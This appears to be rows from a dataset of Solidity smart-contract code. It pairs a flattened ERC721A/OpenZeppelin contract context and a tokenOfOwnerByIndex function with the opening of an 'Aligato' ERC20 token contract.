uint256 tokenId ) public override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { _transfer(from, to, tokenId); require( _checkOnERC721Received(from, to, tokenId, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return tokenId < currentIndex; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ""); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` cannot be larger than the max batch size. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { uint256 startTokenId = currentIndex; require(to != address(0), "ERC721A: mint to the zero address"); // We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering. require(!_exists(startTokenId), "ERC721A: token already minted"); require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high"); _beforeTokenTransfers(address(0), to, startTokenId, quantity); AddressData memory addressData = _addressData[to]; _addressData[to] = AddressData( addressData.balance + uint128(quantity), addressData.numberMinted + uint128(quantity) ); _ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp)); uint256 updatedIndex = startTokenId; for (uint256 i = 0; i < quantity; i++) { emit Transfer(address(0), to, updatedIndex); require( _checkOnERC721Received(address(0), to, updatedIndex, _data), "ERC721A: transfer to non ERC721Receiver implementer" ); updatedIndex++; } currentIndex = updatedIndex; _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || getApproved(tokenId) == _msgSender() || isApprovedForAll(prevOwnership.addr, _msgSender())); require( isApprovedOrOwner, "ERC721A: transfer caller is not owner nor approved" ); require( prevOwnership.addr == from, "ERC721A: transfer from incorrect owner" ); require(to != address(0), "ERC721A: transfer to the zero address"); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp)); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { if (_exists(nextTokenId)) { _ownerships[nextTokenId] = TokenOwnership( prevOwnership.addr, prevOwnership.startTimestamp ); } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } uint256 public nextOwnerToExplicitlySet = 0; /** * @dev Explicitly set `owners` to eliminate loops in future calls of ownerOf(). */ function _setOwnersExplicit(uint256 quantity) internal { uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet; require(quantity > 0, "quantity must be nonzero"); uint256 endIndex = oldNextOwnerToSet + quantity - 1; if (endIndex > currentIndex - 1) { endIndex = currentIndex - 1; } // We know if the last one in the group exists, all in the group exist, due to serial ordering. require(_exists(endIndex), "not enough minted yet for this cleanup"); for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) { if (_ownerships[i].addr == address(0)) { TokenOwnership memory ownership = ownershipOf(i); _ownerships[i] = TokenOwnership( ownership.addr, ownership.startTimestamp ); } } nextOwnerToExplicitlySet = endIndex + 1; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721A: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface cIERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool); function mint(address to, uint256 amount) external; function burn(uint256 amount) external; function burnFrom(address account, uint256 amount) external; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = _efficientHash(computedHash, proofElement); } else { // Hash(current element of the proof + current computed hash) computedHash = _efficientHash(proofElement, computedHash); } } return computedHash; } function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) { assembly { mstore(0x00, a) mstore(0x20, b) value := keccak256(0x00, 0x40) } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); }
See {IERC721Enumerable-tokenOfOwnerByIndex}. This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case./
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { require(index < balanceOf(owner), "ERC721A: owner index out of bounds"); uint256 numMintedSoFar = totalSupply(); uint256 tokenIdsIdx = 0; address currOwnershipAddr = address(0); for (uint256 i = 1; i <= numMintedSoFar; i++) { TokenOwnership memory ownership = _ownerships[i]; if (ownership.addr != address(0)) { currOwnershipAddr = ownership.addr; } if (currOwnershipAddr == owner) { if (tokenIdsIdx == index) { return i; } tokenIdsIdx++; } } revert("ERC721A: unable to get token of owner by index"); }
11,794,990
pragma solidity ^0.4.24; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0 || b == 0) { return 0; } c = a * b; require(c / a == b, "Mul overflow!"); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity automatically throws when dividing by 0 uint256 c = a / b; return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "Sub overflow!"); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, "Add overflow!"); return c; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md // ---------------------------------------------------------------------------- contract ERC20Interface { string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; function balanceOf(address _owner) external view returns (uint256); function transfer(address _to, uint256 _value) external returns(bool); event Transfer(address indexed _from, address indexed _to, uint256 _value); } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); modifier onlyOwner { require(msg.sender == owner, "Only Owner can do that!"); _; } function transferOwnership(address _newOwner) external onlyOwner { newOwner = _newOwner; } function acceptOwnership() external { require(msg.sender == newOwner, "You are not new Owner!"); owner = newOwner; newOwner = address(0); emit OwnershipTransferred(owner, newOwner); } } contract Permissioned { function approve(address _spender, uint256 _value) public returns(bool); function transferFrom(address _from, address _to, uint256 _value) external returns(bool); function allowance(address _owner, address _spender) external view returns (uint256); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract Burnable { function burn(uint256 _value) external returns(bool); function burnFrom(address _from, uint256 _value) external returns(bool); // This notifies clients about the amount burnt event Burn(address indexed _from, uint256 _value); } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract Aligato is ERC20Interface, Owned, Permissioned, Burnable { using SafeMath for uint256; //Be aware of overflows // This creates an array with all balances mapping(address => uint256) internal _balanceOf; // This creates an array with all allowance mapping(address => mapping(address => uint256)) internal _allowance; bool public isLocked = true; //only contract Owner can transfer tokens uint256 icoSupply = 0; //set ICO balance and emit function setICO(address user, uint256 amt) internal{ uint256 amt2 = amt * (10 ** uint256(decimals)); _balanceOf[user] = amt2; emit Transfer(0x0, user, amt2); icoSupply += amt2; } // As ICO been done on platform, we need set proper amouts for ppl that participate /** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor(string _symbol, string _name, uint256 _supply, uint8 _decimals) public { require(_supply != 0, "Supply required!"); //avoid accidental deplyment with zero balance owner = msg.sender; symbol = _symbol; name = _name; decimals = _decimals; totalSupply = _supply.mul(10 ** uint256(decimals)); //supply in constuctor is w/o decimal zeros _balanceOf[msg.sender] = totalSupply - icoSupply; emit Transfer(address(0), msg.sender, totalSupply - icoSupply); } // unlock transfers for everyone function unlock() external onlyOwner returns (bool success) { require (isLocked == true, "It is unlocked already!"); //you can unlock only once isLocked = false; return true; } /** * Get the token balance for account * * Get token balance of `_owner` account * * @param _owner The address of the owner */ function balanceOf(address _owner) external view 